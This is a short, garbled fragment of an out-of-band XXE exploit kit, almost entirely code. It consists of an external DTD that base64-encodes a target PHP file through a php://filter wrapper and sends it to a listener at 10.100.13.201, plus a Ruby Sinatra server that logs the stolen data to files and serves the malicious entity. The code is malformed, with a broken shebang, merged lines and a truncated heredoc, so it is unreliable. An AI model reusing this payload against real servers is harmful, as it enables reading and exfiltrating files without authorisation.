<!ENTITY % resource SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/6/.letmepass.php"> <!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM 'http://10.100.13.201:443/?p=%resource;'>">
!/usr/bin/env ruby
require 'sinatra'
set :port, ARGV[0] || 443 #set listening port here set :bind, '10.100.13.201' #so are aren't just listening locally set :public_folder, '/var/www/html' get "/" do return "OHAI" if params[:p].nil? f = File.open("./files/#{request.ip}#{Time.now.to_i}","w") f.write(params[:p]) f.close "" end
get "/xml" do return "" if params[:f].nil?
< <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://#{request.host}:#{request.port}/?p=%payl;'>"> END end